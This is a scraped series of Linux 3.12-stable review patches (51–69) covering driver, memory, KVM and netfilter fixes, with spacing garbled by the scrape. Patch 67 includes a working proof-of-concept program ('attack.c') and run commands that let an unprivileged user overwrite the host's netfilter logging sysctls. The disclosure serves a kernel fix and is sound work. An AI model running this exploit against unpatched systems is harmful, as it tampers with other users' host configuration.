RIP: e030:[<ffffffff811c333b>] [<ffffffff811c333b>] remove_inode_hugepages+0x25b/0x320 ... Call Trace: [<ffffffff811c3415>] hugetlbfs_evict_inode+0x15/0x40 [<ffffffff81167b3d>] evict+0xbd/0x1b0 [<ffffffff8116514a>] __dentry_kill+0x19a/0x1f0 [<ffffffff81165b0e>] dput+0x1fe/0x220 [<ffffffff81150535>] __fput+0x155/0x200 [<ffffffff81079fc0>] task_work_run+0x60/0xa0 [<ffffffff81063510>] do_exit+0x160/0x400 [<ffffffff810637eb>] do_group_exit+0x3b/0xa0 [<ffffffff8106e8bd>] get_signal+0x1ed/0x470 [<ffffffff8100f854>] do_signal+0x14/0x110 [<ffffffff810030e9>] prepare_exit_to_usermode+0xe9/0xf0 [<ffffffff814178a5>] retint_user+0x8/0x13
This is CVE-2016-3961 / XSA-174.
--- arch/x86/include/asm/hugetlb.h | 1 + 1 file changed, 1 insertion(+)
arch/x86/include/asm/hugetlb.h +1 -0
@@ -4,6 +4,7 @@#include <asm/page.h> #include <asm-generic/hugetlb.h> +#define hugepages_supported () cpu_has_pse static inline int is_hugepage_only_range(struct mm_struct *mm, unsigned long addr,
Signature · 7 lines
2.10.2 _______________________________________________ Xen-devel mailing list [email protected] https://lists.xen.org/xen-devel
PATCH 51/127 scsi: megaraid_sas: fix macro MEGASAS_IS_LOGICAL to avoid regression
In reply to Jiri SlabyFrom: Sumit Saxena <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 5e5ec1759dd663a1d5a2f10930224dd009e500e8 upstream.
This patch will fix regression caused by commit 1e793f6fc0db ("scsi:megaraid_sas: Fix data integrity failure for JBOD (passthrough) devices").
The problem was that the MEGASAS_IS_LOGICAL macro did not have braces and as a result the driver ended up exposing a lot of non-existing SCSI devices (all SCSI commands to channels 1,2,3 were returned as SUCCESS-DID_OK by driver).
[mkp: clarified patch description]
--- drivers/scsi/megaraid/megaraid_sas.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/scsi/megaraid/megaraid_sas.h +1 -1
@@ -1637,7 +1637,7 @@ struct megasas_instance_template { };#define MEGASAS_IS_LOGICAL (scp) \ - (scp->device->channel < MEGASAS_MAX_PD_CHANNELS) ? 0 : 1 + ((scp->device->channel < MEGASAS_MAX_PD_CHANNELS) ? 0 : 1)#define MEGASAS_DEV_INDEX (inst, scp) \ ((scp->device->channel % 2) * MEGASAS_MAX_DEV_PER_CHANNEL) + \
Signature · 1 line
2.10.2
PATCH 52/127 ASoC: cs4270: fix DAPM stream name mismatch
In reply to Jiri SlabyFrom: murray foster <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit aa5f920993bda2095952177eea79bc8e58ae6065 upstream.
Mismatching stream names in DAPM route and widget definitions are causing compilation errors. Fixing these names allows the cs4270 driver to compile and function.
[Errors must be at probe time not compile time -- broonie]
--- sound/soc/codecs/cs4270.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-)
sound/soc/codecs/cs4270.c +4 -4
@@ -148,11 +148,11 @@ SND_SOC_DAPM_OUTPUT("AOUTR"), };static const struct snd_soc_dapm_route cs4270_dapm_routes[] = { - {"Capture" ,NULL ,"AINA" }, - {"Capture" ,NULL ,"AINB" }, + {"Capture" ,NULL ,"AINL" }, + {"Capture" ,NULL ,"AINR" }, - {"AOUTA" ,NULL ,"Playback" }, - {"AOUTB" ,NULL ,"Playback" }, + {"AOUTL" ,NULL ,"Playback" }, + {"AOUTR" ,NULL ,"Playback" }, };/**
Signature · 1 line
2.10.2
PATCH 53/127 dib0700: fix nec repeat handling
In reply to Jiri SlabyFrom: Sean Young <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit ba13e98f2cebd55a3744c5ffaa08f9dca73bf521 upstream.
When receiving a nec repeat, ensure the correct scancode is repeated rather than a random value from the stack. This removes the need for the bogus uninitialized_var() and also fixes the warnings:
drivers/media/usb/dvb-usb/dib0700_core.c: In function ‘dib0700_rc_urb_completion’:
drivers/media/usb/dvb-usb/dib0700_core.c:679: warning: ‘protocol’ may be used uninitialized in this function
[sean addon: So after writing the patch and submitting it, I've bought the
hardware on ebay. Without this patch you get random scancodes on nec repeats, which the patch indeed fixes.]
--- drivers/media/usb/dvb-usb/dib0700_core.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-)
drivers/media/usb/dvb-usb/dib0700_core.c +3 -2
@@ -674,7 +674,7 @@ static void dib0700_rc_urb_completion(struct urb *purb) {struct dvb_usb_device *d = purb->context;struct dib0700_rc_response *poll_reply; -u32 uninitialized_var (keycode ); +u32 keycode;u8 toggle;deb_info ("%s()\n" , __func__);
@@ -713,7 +713,8 @@ static void dib0700_rc_urb_completion(struct urb *purb)if ((poll_reply->system ==0x00 ) && (poll_reply->data ==0x00 ) && (poll_reply->not_data ==0xff )) { poll_reply->data_state =2 ; -break ; +rc_repeat (d->rc_dev); + goto resubmit; }if ((poll_reply->system ^ poll_reply->not_system) !=0xff ) {
Signature · 1 line
2.10.2
PATCH 54/127 swapfile: fix memory corruption via malformed swapfile
In reply to Jiri SlabyFrom: Jann Horn <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit dd111be69114cc867f8e826284559bfbc1c40e37 upstream.
When root activates a swap partition whose header has the wrong endianness, nr_badpages elements of badpages are swabbed before nr_badpages has been checked, leading to a buffer overrun of up to 8GB.
This normally is not a security issue because it can only be exploited by root (more specifically, a process with CAP_SYS_ADMIN or the ability to modify a swap file/partition), and such a process can already e.g. modify swapped-out memory of any other userspace process on the system.
--- mm/swapfile.c | 2 ++ 1 file changed, 2 insertions(+)
mm/swapfile.c +2 -0
@@ -2207,6 +2207,8 @@ static unsigned long read_swap_header(struct swap_info_struct *p,swab32s (&swap_header->info.version);swab32s (&swap_header->info.last_page);swab32s (&swap_header->info.nr_badpages); +if (swap_header->info.nr_badpages >MAX_SWAP_BADPAGES ) +return 0 ;for (i =0 ; i < swap_header->info.nr_badpages; i++)swab32s (&swap_header->info.badpages[i]); }
Signature · 1 line
2.10.2
PATCH 55/127 coredump: fix unfreezable coredumping task
In reply to Jiri SlabyFrom: Andrey Ryabinin <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 70d78fe7c8b640b5acfad56ad341985b3810998a upstream.
It could be not possible to freeze coredumping task when it waits for 'core_state->startup' completion, because threads are frozen in get_signal() before they got a chance to complete 'core_state->startup'.
Inability to freeze a task during suspend will cause suspend to fail. Also CRIU uses cgroup freezer during dump operation. So with an unfreezable task the CRIU dump will fail because it waits for a transition from 'FREEZING' to 'FROZEN' state which will never happen.
Use freezer_do_not_count() to tell freezer to ignore coredumping task while it waits for core_state->startup completion.
--- fs/coredump.c | 3 +++ 1 file changed, 3 insertions(+)
fs/coredump.c +3 -0
@@ -1,6 +1,7 @@#include <linux/slab.h> #include <linux/file.h> #include <linux/fdtable.h> +#include <linux/freezer.h> #include <linux/mm.h> #include <linux/stat.h> #include <linux/fcntl.h>
@@ -386,7 +387,9 @@ static int coredump_wait(int exit_code, struct core_state *core_state)if (core_waiters >0 ) {struct core_thread *ptr; +freezer_do_not_count ();wait_for_completion (&core_state->startup); +freezer_count ();/* * Wait for all the threads to become inactive, so that * all the thread context (extended register state, like
Signature · 1 line
2.10.2
PATCH 56/127 s390/hypfs: Use get_free_page() instead of kmalloc to ensure page alignment
In reply to Jiri SlabyFrom: Michael Holzheu <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 237d6e6884136923b6bd26d5141ebe1d065960c9 upstream.
Since commit d86bd1bece6f ("mm/slub: support left redzone") it is no longer guaranteed that kmalloc(PAGE_SIZE) returns page aligned memory.
After the above commit we get an error for diag224 because aligned memory is required. This leads to the following user visible error:
# mount none -t s390_hypfs /sys/hypervisor/ mount: unknown filesystem type 's390_hypfs'
# dmesg | grep hypfs
hypfs.cccfb8: The hardware system does not provide all functions
required by hypfs
hypfs.7a79f0: Initialization of hypfs failed with rc=-61Fix this problem and use get_free_page() instead of kmalloc() to get correctly aligned memory.
--- arch/s390/hypfs/hypfs_diag.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-)
arch/s390/hypfs/hypfs_diag.c +3 -3
@@ -517,11 +517,11 @@ static int diag224(void *ptr)static int diag224_get_name_table (void ) {/* memory must be below 2GB */ - diag224_cpu_names =kmalloc (PAGE_SIZE ,GFP_KERNEL |GFP_DMA ); + diag224_cpu_names = (char *)__get_free_page (GFP_KERNEL |GFP_DMA );if (!diag224_cpu_names)return -ENOMEM ;if (diag224 (diag224_cpu_names)) { -kfree (diag224_cpu_names); +free_page ((unsigned long ) diag224_cpu_names);return -EOPNOTSUPP ; }EBCASC (diag224_cpu_names +16 , (*diag224_cpu_names +1 ) *16 );
@@ -530,7 +530,7 @@ static int diag224_get_name_table(void)static void diag224_delete_name_table (void ) { -kfree (diag224_cpu_names); +free_page ((unsigned long ) diag224_cpu_names); }static int diag224_idx2name (int index,char *name)
Signature · 1 line
2.10.2
PATCH 57/127 staging: iio: ad5933: avoid uninitialized variable in error case
In reply to Jiri SlabyFrom: Arnd Bergmann <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 34eee70a7b82b09dbda4cb453e0e21d460dae226 upstream.
The ad5933_i2c_read function returns an error code to indicate whether it could read data or not. However ad5933_work() ignores this return code and just accesses the data unconditionally, which gets detected by gcc as a possible bug:
drivers/staging/iio/impedance-analyzer/ad5933.c: In function 'ad5933_work':drivers/staging/iio/impedance-analyzer/ad5933.c:649:16: warning: 'status' may be used uninitialized in this function [-Wmaybe-uninitialized]
This adds minimal error handling so we only evaluate the data if it was correctly read.
--- drivers/staging/iio/impedance-analyzer/ad5933.c | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-)
drivers/staging/iio/impedance-analyzer/ad5933.c +10 -7
@@ -646,6 +646,7 @@ static void ad5933_work(struct work_struct *work)struct iio_dev *indio_dev =i2c_get_clientdata (st->client);signed short buf[2 ];unsigned char status; +int ret;mutex_lock (&indio_dev->mlock);if (st->state ==AD5933_CTRL_INIT_START_FREQ ) {
@@ -653,19 +654,22 @@ static void ad5933_work(struct work_struct *work)ad5933_cmd (st,AD5933_CTRL_START_SWEEP ); st->state =AD5933_CTRL_START_SWEEP ;schedule_delayed_work (&st->work, st->poll_time_jiffies); -mutex_unlock (&indio_dev->mlock); -return ; + goto out; } -ad5933_i2c_read (st->client,AD5933_REG_STATUS ,1 , &status); + ret =ad5933_i2c_read (st->client,AD5933_REG_STATUS ,1 , &status); +if (ret) + goto out;if (status &AD5933_STAT_DATA_VALID ) {int scan_count =bitmap_weight (indio_dev->active_scan_mask, indio_dev->masklength); -ad5933_i2c_read (st->client, + ret =ad5933_i2c_read (st->client,test_bit (1 , indio_dev->active_scan_mask) ?AD5933_REG_REAL_DATA :AD5933_REG_IMAG_DATA , scan_count *2 , (u8 *)buf); +if (ret) + goto out;if (scan_count ==2 ) { buf[0 ] =be16_to_cpu (buf[0 ]);
@@ -677,8 +681,7 @@ static void ad5933_work(struct work_struct *work) }else {/* no data available - try again later */ schedule_delayed_work (&st->work, st->poll_time_jiffies); -mutex_unlock (&indio_dev->mlock); -return ; + goto out; }if (status &AD5933_STAT_SWEEP_DONE ) {
@@ -690,7 +693,7 @@ static void ad5933_work(struct work_struct *work)ad5933_cmd (st,AD5933_CTRL_INC_FREQ );schedule_delayed_work (&st->work, st->poll_time_jiffies); } - +out:mutex_unlock (&indio_dev->mlock); }
Signature · 1 line
2.10.2
PATCH 58/127 drivers: staging: nvec: remove bogus reset command for PS/2 interface
In reply to Jiri SlabyFrom: Paul Fertser <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit d8f8a74d5fece355d2234e1731231d1aebc66b38 upstream.
This command was sent behind serio's back and the answer to it was confusing atkbd probe function which lead to the elantech touchpad getting detected as a keyboard.
To prevent this from happening just let every party do its part of the job.
--- drivers/staging/nvec/nvec_ps2.c | 4 ---- 1 file changed, 4 deletions(-)
drivers/staging/nvec/nvec_ps2.c +0 -4
@@ -104,7 +104,6 @@ static int nvec_mouse_probe(struct platform_device *pdev) {struct nvec_chip *nvec =dev_get_drvdata (pdev->dev.parent);struct serio *ser_dev; -char mouse_reset[] = {NVEC_PS2 ,SEND_COMMAND ,PSMOUSE_RST ,3 }; ser_dev =kzalloc (sizeof (struct serio ),GFP_KERNEL );if (ser_dev ==NULL )
@@ -125,9 +124,6 @@ static int nvec_mouse_probe(struct platform_device *pdev)serio_register_port (ser_dev); -/* mouse reset */ -nvec_write_async (nvec, mouse_reset,sizeof (mouse_reset)); -return 0 ; }
Signature · 1 line
2.10.2
PATCH 59/127 Revert "staging: nvec: ps2: change serio type to passthrough"
In reply to Jiri SlabyFrom: Paul Fertser <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 17c1c9ba15b238ef79b51cf40d855c05b58d5934 upstream.
This reverts commit 36b30d6138f4677514aca35ab76c20c1604baaad.
This is necessary to detect paz00 (ac100) touchpad properly as one speaking ETPS/2 protocol. Without it X.org's synaptics driver doesn't work as the touchpad is detected as an ImPS/2 mouse instead.
Commit ec6184b1c717b8768122e25fe6d312f609cc1bb4 changed the way auto-detection is performed on ports marked as pass through and made the issue apparent.
A pass through port is an additional PS/2 port used to connect a slave device to a master device that is using PS/2 to communicate with the host (so slave's PS/2 communication is tunneled over master's PS/2 link). "Synaptics PS/2 TouchPad Interfacing Guide" describes such a setup (PS/2 PASS-THROUGH OPTION section).
Since paz00's embedded controller is not connected to a PS/2 port itself, the PS/2 interface it exposes is not a pass-through one.
--- drivers/staging/nvec/nvec_ps2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/staging/nvec/nvec_ps2.c +1 -1
@@ -109,7 +109,7 @@ static int nvec_mouse_probe(struct platform_device *pdev)if (ser_dev ==NULL )return -ENOMEM ; - ser_dev->id.type =SERIO_PS_PSTHRU ; + ser_dev->id.type =SERIO_8042 ; ser_dev->write = ps2_sendcommand; ser_dev->start = ps2_startstreaming; ser_dev->stop = ps2_stopstreaming;
Signature · 1 line
2.10.2
PATCH 60/127 usb: gadget: u_ether: remove interrupt throttling
In reply to Jiri SlabyFrom: Felipe Balbi <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit fd9afd3cbe404998d732be6cc798f749597c5114 upstream.
According to Dave Miller "the networking stack has a hard requirement that all SKBs which are transmitted must have their completion signalled in a fininte amount of time. This is because, until the SKB is freed by the driver, it holds onto socket, netfilter, and other subsystem resources."
In summary, this means that using TX IRQ throttling for the networking gadgets is, at least, complex and we should avoid it for the time being.
--- drivers/usb/gadget/u_ether.c | 8 -------- 1 file changed, 8 deletions(-)
drivers/usb/gadget/u_ether.c +0 -8
@@ -583,14 +583,6 @@ static netdev_tx_t eth_start_xmit(struct sk_buff *skb, req->length = length; -/* throttle high/super speed IRQ rate back slightly */ -if (gadget_is_dualspeed (dev->gadget)) - req->no_interrupt = (((dev->gadget->speed ==USB_SPEED_HIGH || - dev->gadget->speed ==USB_SPEED_SUPER )) && - !list_empty (&dev->tx_reqs)) - ? ((atomic_read (&dev->tx_qlen) % dev->qmult) !=0 ) - :0 ; - retval =usb_ep_queue (in, req,GFP_ATOMIC );switch (retval) {default :
Signature · 1 line
2.10.2
PATCH 61/127 drbd: Fix kernel_sendmsg() usage - potential NULL deref
In reply to Jiri SlabyFrom: Richard Weinberger <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit d8e9e5e80e882b4f90cba7edf1e6cb7376e52e54 upstream.
Don't pass a size larger than iov_len to kernel_sendmsg(). Otherwise it will cause a NULL pointer deref when kernel_sendmsg() returns with rv < size.
DRBD as external module has been around in the kernel 2.4 days already. We used to be compatible to 2.4 and very early 2.6 kernels, we used to use
rv = sock_sendmsg(sock, &msg, iov.iov_len);
then later changed to
rv = kernel_sendmsg(sock, &msg, &iov, 1, size);
when we should have used
rv = kernel_sendmsg(sock, &msg, &iov, 1, iov.iov_len);
tcp_sendmsg() used to totally ignore the size parameter.
57be5bd ip: convert tcp_sendmsg() to iov_iter primitives
changes that, and exposes our long standing error.
Even with this error exposed, to trigger the bug, we would need to have an environment (config or otherwise) causing us to not use sendpage() for larger transfers, a failing connection, and have it fail "just at the right time". Apparently that was unlikely enough for most, so this went unnoticed for years.
Still, it is known to trigger at least some of these,
and suspected for the others:
[0] http://lists.linbit.com/pipermail/drbd-user/2016-July/023112.html
[1] http://lists.linbit.com/pipermail/drbd-dev/2016-March/003362.html
[2] https://forums.grsecurity.net/viewtopic.php?f=3&t=4546
[3] https://ubuntuforums.org/showthread.php?t=2336150
[4] http://e2.howsolveproblem.com/i/1175162/
This should go into 4.9,
and into all stable branches since and including v4.0, which is the first to contain the exposing change.
It is correct for all stable branches older than that as well (which contain the DRBD driver; which is 2.6.33 and up).
It requires a small "conflict" resolution for v4.4 and earlier, with v4.5 we dropped the comment block immediately preceding the kernel_sendmsg().
--- drivers/block/drbd/drbd_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/block/drbd/drbd_main.c +1 -1
@@ -1771,7 +1771,7 @@ int drbd_send(struct drbd_tconn *tconn, struct socket *sock,* do we need to block DRBD_SIG if sock == &meta.socket ?? * otherwise wake_asender() might interrupt some send_*Ack ! */ - rv =kernel_sendmsg (sock, &msg, &iov,1 , size); + rv =kernel_sendmsg (sock, &msg, &iov,1 , iov.iov_len);if (rv == -EAGAIN ) {if (we_should_drop_the_connection (tconn, sock))break ;
Signature · 1 line
2.10.2
PATCH 62/127 iommu/amd: Free domain id when free a domain of struct dma_ops_domain
In reply to Jiri SlabyFrom: Baoquan He <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit c3db901c54466a9c135d1e6e95fec452e8a42666 upstream.
The current code missed freeing domain id when free a domain of struct dma_ops_domain.
--- drivers/iommu/amd_iommu.c | 3 +++ 1 file changed, 3 insertions(+)
drivers/iommu/amd_iommu.c +3 -0
@@ -2032,6 +2032,9 @@ static void dma_ops_domain_free(struct dma_ops_domain *dom)kfree (dom->aperture[i]); } +if (dom->domain.id) +domain_id_free (dom->domain.id); +kfree (dom); }
Signature · 1 line
2.10.2
PATCH 63/127 mei: bus: fix received data size check in NFC fixup
In reply to Jiri SlabyFrom: Alexander Usyskin <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 582ab27a063a506ccb55fc48afcc325342a2deba upstream.
NFC version reply size checked against only header size, not against full message size. That may lead potentially to uninitialized memory access in version data.
That leads to warnings when version data is accessed:drivers/misc/mei/bus-fixup.c: warning: '*((void *)&ver+11)' may be used uninitialized in this function [-Wuninitialized]: => 212:2
Reported in
Build regressions/improvements in v4.9-rc3
https://lkml.org/lkml/2016/10/30/57
[js] the check is in 3.12 only once
--- drivers/misc/mei/nfc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/misc/mei/nfc.c +1 -1
@@ -292,7 +292,7 @@ static int mei_nfc_if_version(struct mei_nfc_dev *ndev)return -ENOMEM ; bytes_recv =__mei_cl_recv (cl, (u8 *)reply, if_version_length); -if (bytes_recv <0 || bytes_recv <sizeof (struct mei_nfc_reply )) { +if (bytes_recv < if_version_length) {dev_err (&dev->pdev->dev,"Could not read IF version\n" ); ret = -EIO ; goto err;
Signature · 1 line
2.10.2
PATCH 64/127 lib/genalloc.c: start search from start of chunk
In reply to Jiri SlabyFrom: Daniel Mentz <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 62e931fac45b17c2a42549389879411572f75804 upstream.
gen_pool_alloc_algo() iterates over the chunks of a pool trying to find a contiguous block of memory that satisfies the allocation request.
The shortcut
if (size > atomic_read(&chunk->avail)) continue;
makes the loop skip over chunks that do not have enough bytes left to fulfill the request. There are two situations, though, where an allocation might still fail:
(1) The available memory is not contiguous, i.e. the request cannot be fulfilled due to external fragmentation.
(2) A race condition. Another thread runs the same code concurrently and is quicker to grab the available memory.
In those situations, the loop calls pool->algo() to search the entire chunk, and pool->algo() returns some value that is >= end_bit to indicate that the search failed. This return value is then assigned to start_bit. The variables start_bit and end_bit describe the range that should be searched, and this range should be reset for every chunk that is searched. Today, the code fails to reset start_bit to 0. As a result, prefixes of subsequent chunks are ignored. Memory allocations might fail even though there is plenty of room left in these prefixes of those other chunks.
--- lib/genalloc.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-)
lib/genalloc.c +2 -1
@@ -273,7 +273,7 @@ unsigned long gen_pool_alloc(struct gen_pool *pool, size_t size)struct gen_pool_chunk *chunk;unsigned long addr =0 ;int order = pool->min_alloc_order; -int nbits, start_bit =0 , end_bit, remain; +int nbits, start_bit, end_bit, remain;#ifndef CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG BUG_ON (in_nmi ());
@@ -288,6 +288,7 @@ unsigned long gen_pool_alloc(struct gen_pool *pool, size_t size)if (size >atomic_read (&chunk->avail))continue ; + start_bit =0 ; end_bit =chunk_size (chunk) >> order; retry: start_bit = pool->algo(chunk->bits, end_bit, start_bit, nbits,
Signature · 1 line
2.10.2
PATCH 65/127 ACPI / APEI: Fix incorrect return value of ghes_proc()
In reply to Jiri SlabyFrom: Punit Agrawal <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 806487a8fc8f385af75ed261e9ab658fc845e633 upstream.
Although ghes_proc() tests for errors while reading the error status, it always return success (0). Fix this by propagating the return value.
--- drivers/acpi/apei/ghes.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/acpi/apei/ghes.c +1 -1
@@ -677,7 +677,7 @@ static int ghes_proc(struct ghes *ghes)ghes_do_proc (ghes, ghes->estatus); out:ghes_clear_estatus (ghes); -return 0 ; +return rc; }static void ghes_add_timer (struct ghes *ghes)
Signature · 1 line
2.10.2
PATCH 66/127 mmc: mxs: Initialize the spinlock prior to using it
In reply to Jiri SlabyFrom: Fabio Estevam <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit f91346e8b5f46aaf12f1df26e87140584ffd1b3f upstream.
An interrupt may occur right after devm_request_irq() is called and prior to the spinlock initialization, leading to a kernel oops, as the interrupt handler uses the spinlock.
In order to prevent this problem, move the spinlock initialization prior to requesting the interrupts.
--- drivers/mmc/host/mxs-mmc.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
drivers/mmc/host/mxs-mmc.c +2 -2
@@ -675,13 +675,13 @@ static int mxs_mmc_probe(struct platform_device *pdev)platform_set_drvdata (pdev, mmc); +spin_lock_init (&host->lock); + ret =devm_request_irq (&pdev->dev, irq_err, mxs_mmc_irq_handler,0 ,DRIVER_NAME , host);if (ret) goto out_free_dma; -spin_lock_init (&host->lock); - ret =mmc_add_host (mmc);if (ret) goto out_free_dma;
Signature · 1 line
2.10.2
PATCH 67/127 netfilter: fix namespace handling in nf_log_proc_dostring
In reply to Jiri SlabyFrom: Jann Horn <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit dbb5918cb333dfeb8897f8e8d542661d2ff5b9a0 upstream.
nf_log_proc_dostring() used current's network namespace instead of the one corresponding to the sysctl file the write was performed on. Because the permission check happens at open time and the nf_log files in namespaces are accessible for the namespace owner, this can be abused by an unprivileged user to effectively write to the init namespace's nf_log sysctls.
Stash the "struct net *" in extra2 - data and extra1 are already used.
Repro code:
#define _GNU_SOURCE
#include <stdlib.h>
#include <sched.h>
#include <err.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
char child_stack[1000000];
uid_t outer_uid;gid_t outer_gid;
int stolen_fd = -1;
void writefile(char *path, char *buf) {
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "unable to open thing");
if (write(fd, buf, strlen(buf)) != strlen(buf))
err(1, "unable to write thing");
close(fd);
}int child_fn(void *p_) {
if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
NULL))
err(1, "mount");
/* Yes, we need to set the maps for the net sysctls to recognize us
* as namespace root.
*/
char buf[1000];
sprintf(buf, "0 %d 1\n", (int)outer_uid);
writefile("/proc/1/uid_map", buf);
writefile("/proc/1/setgroups", "deny");
sprintf(buf, "0 %d 1\n", (int)outer_gid);
writefile("/proc/1/gid_map", buf);
stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
if (stolen_fd == -1)
err(1, "open nf_log");
return 0;
}int main(void) {
outer_uid = getuid();
outer_gid = getgid();
int child = clone(child_fn, child_stack + sizeof(child_stack),
CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
|CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
if (child == -1)
err(1, "clone");
int status;
if (wait(&status) != child)
err(1, "wait");
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
errx(1, "child exit status bad");
char *data = "NONE";
if (write(stolen_fd, data, strlen(data)) != strlen(data))
err(1, "write");
return 0;
}Repro:
$ gcc -Wall -o attack attack.c -std=gnu99 $ cat /proc/sys/net/netfilter/nf_log/2 nf_log_ipv4 $ ./attack $ cat /proc/sys/net/netfilter/nf_log/2 NONE
Because this looks like an issue with very low severity, I'm sending it to the public list directly.
--- net/netfilter/nf_log.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-)
net/netfilter/nf_log.c +4 -2
@@ -253,7 +253,7 @@ static int nf_log_proc_dostring(struct ctl_table *table, int write,size_t size = *lenp;int r =0 ;int tindex = (unsigned long )table->extra1; -struct net *net = current->nsproxy->net_ns; +struct net *net = table->extra2;if (write) {if (size >sizeof (buf))
@@ -306,7 +306,6 @@ static int netfilter_log_sysctl_init(struct net *net) 3, "%d", i); nf_log_sysctl_table[i].procname = nf_log_sysctl_fnames[i]; - nf_log_sysctl_table[i].data =NULL ; nf_log_sysctl_table[i].maxlen =NFLOGGER_NAME_LEN *sizeof (char ); nf_log_sysctl_table[i].mode =0644 ;
@@ -317,6 +316,9 @@ static int netfilter_log_sysctl_init(struct net *net) } } +for (i =NFPROTO_UNSPEC ; i <NFPROTO_NUMPROTO ; i++) + table[i].extra2 = net; + net->nf.nf_log_dir_header =register_net_sysctl (net,"net/netfilter/nf_log" , table);
Signature · 1 line
2.10.2
PATCH 68/127 KVM: x86: fix missed SRCU usage in kvm_lapic_set_vapic_addr
In reply to Jiri SlabyFrom: Paolo Bonzini <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 7301d6abaea926d685832f7e1f0c37dd206b01f4 upstream.
Reported by syzkaller:
[ INFO: suspicious RCU usage. ]
4.9.0-rc4+ #47 Not tainted
-------------------------------
./include/linux/kvm_host.h:536 suspicious rcu_dereference_check() usage!
stack backtrace:
CPU: 1 PID: 6679 Comm: syz-executor Not tainted 4.9.0-rc4+ #47
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011
ffff880039e2f6d0 ffffffff81c2e46b ffff88003e3a5b40 0000000000000000
0000000000000001 ffffffff83215600 ffff880039e2f700 ffffffff81334ea9
ffffc9000730b000 0000000000000004 ffff88003c4f8420 ffff88003d3f8000
Call Trace:
[< inline >] __dump_stack lib/dump_stack.c:15
[<ffffffff81c2e46b>] dump_stack+0xb3/0x118 lib/dump_stack.c:51
[<ffffffff81334ea9>] lockdep_rcu_suspicious+0x139/0x180 kernel/locking/lockdep.c:4445
[< inline >] __kvm_memslots include/linux/kvm_host.h:534
[< inline >] kvm_memslots include/linux/kvm_host.h:541
[<ffffffff8105d6ae>] kvm_gfn_to_hva_cache_init+0xa1e/0xce0 virt/kvm/kvm_main.c:1941
[<ffffffff8112685d>] kvm_lapic_set_vapic_addr+0xed/0x140 arch/x86/kvm/lapic.c:2217--- arch/x86/kvm/x86.c | 3 +++ 1 file changed, 3 insertions(+)
arch/x86/kvm/x86.c +3 -0
@@ -3225,6 +3225,7 @@ long kvm_arch_vcpu_ioctl(struct file *filp, };case KVM_SET_VAPIC_ADDR : {struct kvm_vapic_addr va; +int idx; r = -EINVAL ;if (!irqchip_in_kernel (vcpu->kvm))
@@ -3232,7 +3233,9 @@ long kvm_arch_vcpu_ioctl(struct file *filp, r = -EFAULT ;if (copy_from_user (&va, argp,sizeof va)) goto out; + idx =srcu_read_lock (&vcpu->kvm->srcu); r =kvm_lapic_set_vapic_addr (vcpu, va.vapic_addr); +srcu_read_unlock (&vcpu->kvm->srcu, idx);break ; }case KVM_X86_SETUP_MCE : {
Signature · 1 line
2.10.2
PATCH 69/127 KVM: Disable irq while unregistering user notifier
In reply to Jiri SlabyFrom: Ignacio Alvarado <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 1650b4ebc99da4c137bfbfc531be4a2405f951dd upstream.
Function user_notifier_unregister should be called only once for each registered user notifier.
Function kvm_arch_hardware_disable can be executed from an IPI context which could cause a race condition with a VCPU returning to user mode and attempting to unregister the notifier.
--- arch/x86/kvm/x86.c | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-)
arch/x86/kvm/x86.c +11 -2
@@ -178,7 +178,18 @@ static void kvm_on_user_return(struct user_return_notifier *urn)struct kvm_shared_msrs *locals = container_of(urn, struct kvm_shared_msrs, urn);struct kvm_shared_msr_values *values; +unsigned long flags; +/* +* Disabling irqs at this point since the following code could be +* interrupted and executed through kvm_arch_hardware_disable() +*/ +local_irq_save (flags); +if (locals->registered) { + locals->registered = false; +user_return_notifier_unregister (urn); + } +local_irq_restore (flags);for (slot =0 ; slot < shared_msrs_global.nr; ++slot) { values = &locals->values[slot];if (values->host != values->curr) {
